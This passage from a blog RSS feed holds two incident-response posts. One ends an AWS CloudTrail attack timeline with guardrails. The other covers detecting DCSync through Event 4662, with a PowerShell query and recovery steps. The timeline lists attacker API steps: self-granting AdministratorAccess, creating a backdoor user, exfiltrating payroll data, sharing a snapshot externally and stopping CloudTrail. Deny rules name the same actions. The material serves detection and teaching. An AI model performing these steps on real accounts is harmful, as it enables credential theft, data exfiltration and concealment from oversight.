&lt;td&gt;09:03&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;GetCallerIdentity&lt;/code&gt;/&lt;code&gt;ListUsers&lt;/code&gt;/&lt;code&gt;ListRoles&lt;/code&gt;/&lt;code&gt;ListBuckets&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;recon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:05&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;AttachUserPolicy&lt;/code&gt; AdministratorAccess&lt;/td&gt;
&lt;td&gt;self-escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:07&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;CreateUser svc-backup&lt;/code&gt; + &lt;code&gt;CreateAccessKey&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;backdoor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:10&lt;/td&gt;
&lt;td&gt;&lt;code&gt;GetObject corp-financials/payroll.csv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;exfiltration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:12&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ModifySnapshotAttribute&lt;/code&gt; share &lt;code&gt;snap-01&lt;/code&gt; to &lt;code&gt;999988887777&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;exfiltration (snapshot)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:15&lt;/td&gt;
&lt;td&gt;&lt;code&gt;StopLogging org-trail&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;concealment&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  When logging stops, evidence remains
&lt;/h2&gt;

&lt;p&gt;GuardDuty &lt;code&gt;Stealth:IAMUser/CloudTrailLoggingDisabled&lt;/code&gt;; VPC Flow Logs showed large egress after the stop; log file validation plus S3 Object Lock and a separate log account protect integrity.&lt;/p&gt;

&lt;h2&gt;
  
  
  Guardrails
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Require MFA.&lt;/li&gt;
&lt;li&gt;SCPs denying &lt;code&gt;StopLogging&lt;/code&gt;, &lt;code&gt;DeleteTrail&lt;/code&gt;, GuardDuty disablement.&lt;/li&gt;
&lt;li&gt;Access Analyzer for external sharing.&lt;/li&gt;
&lt;li&gt;Avoid long-lived access keys.&lt;/li&gt;
&lt;li&gt;Data events on sensitive buckets.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Checklist
&lt;/h2&gt;

&lt;p&gt;MFA on login? Self-granted policies? New users/keys? External shares of snapshots/AMIs/buckets? Logging stopped, and the gap after?&lt;/p&gt;

&lt;p&gt;That closes season one: one campaign, four environments.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Adapted from chapter 33 of my Japanese book on server defense (40 chapters, with a laptop-sized lab).&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>aws</category>
      <category>cloudtrail</category>
      <category>incidentresponse</category>
    </item>
    <item>
      <title>The night a domain controller replicated every password (Event 4662)</title>
      <dc:creator>tktkkame</dc:creator>
      <pubDate>Wed, 28 Oct 2026 02:28:53 +0000</pubDate>
      <link>https://dev.to/tokotokokame/the-night-a-domain-controller-replicated-every-password-event-4662-1hlg</link>
      <guid>https://dev.to/tokotokokame/the-night-a-domain-controller-replicated-every-password-event-4662-1hlg</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The scenario is &lt;strong&gt;fictional&lt;/strong&gt; (10.0.0.0/8). Event and PowerShell details are from the book, not tested live. Detection only.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A domain controller holds everyone's credentials. That night it handed them over voluntarily: the attacker simply &lt;em&gt;asked to replicate&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you'll learn
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Why DCSync works and the log it leaves (4662)&lt;/li&gt;
&lt;li&gt;Three replication GUIDs and the decisive condition: requester isn't a DC&lt;/li&gt;
&lt;li&gt;A PowerShell check from the book, false positives&lt;/li&gt;
&lt;li&gt;Recovery: reset &lt;code&gt;krbtgt&lt;/code&gt; twice&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The story at a glance (SIEM timeline)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;th&gt;Host&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;09:12:40&lt;/td&gt;
&lt;td&gt;WS01&lt;/td&gt;
&lt;td&gt;lsass access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:14:05&lt;/td&gt;
&lt;td&gt;FS01&lt;/td&gt;
&lt;td&gt;4624 Type 3 NTLM, &lt;code&gt;Administrator&lt;/code&gt;, source WS01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:14:30&lt;/td&gt;
&lt;td&gt;FS01&lt;/td&gt;
&lt;td&gt;5140 &lt;code&gt;ADMIN$&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:15:50&lt;/td&gt;
&lt;td&gt;DC01&lt;/td&gt;
&lt;td&gt;SMB from FS01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;09:16:20&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;DC01&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;4662 replication GUID&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09:18&lt;/td&gt;
&lt;td&gt;WS01&lt;/td&gt;
&lt;td&gt;log ingestion stops&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;Administrator&lt;/code&gt; normally logs in only via the bastion; from WS01 it suggests pass-the-hash.&lt;/p&gt;

&lt;h2&gt;
  
  
  The signal
&lt;/h2&gt;

&lt;p&gt;4662 containing &lt;code&gt;1131f6aa&lt;/code&gt;, &lt;code&gt;1131f6ad&lt;/code&gt; or &lt;code&gt;89e95b76&lt;/code&gt;, requested by an account that is &lt;strong&gt;not a domain controller&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4662&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'1131f6aa|1131f6ad|89e95b76'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-and&lt;/span&gt;&lt;span class="w"&gt;
                 &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-notmatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'DC0\d\$'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adjust the DC naming pattern to your environment; test on a lab domain first.&lt;/p&gt;

&lt;h2&gt;
  
  
  False positives
&lt;/h2&gt;

&lt;p&gt;DC-to-DC replication (exclude DC machine accounts) and sync tools like Azure AD Connect (allow-list the account and fix its source IP).&lt;/p&gt;

&lt;h2&gt;
  
  
  Recovery
&lt;/h2&gt;

&lt;p&gt;Assume all credentials are exposed: reset &lt;code&gt;krbtgt&lt;/code&gt; &lt;strong&gt;twice&lt;/strong&gt;, with a wait between resets.&lt;/p&gt;

&lt;p&gt;Next: the same user's credentials, in the cloud.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Adapted from chapter 23 and Scenario B of my Japanese book on server defense.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>windows</category>
      <category>activedirectory</category>
      <category>incidentresponse</category>
    </item>
  </channel>
</rss>
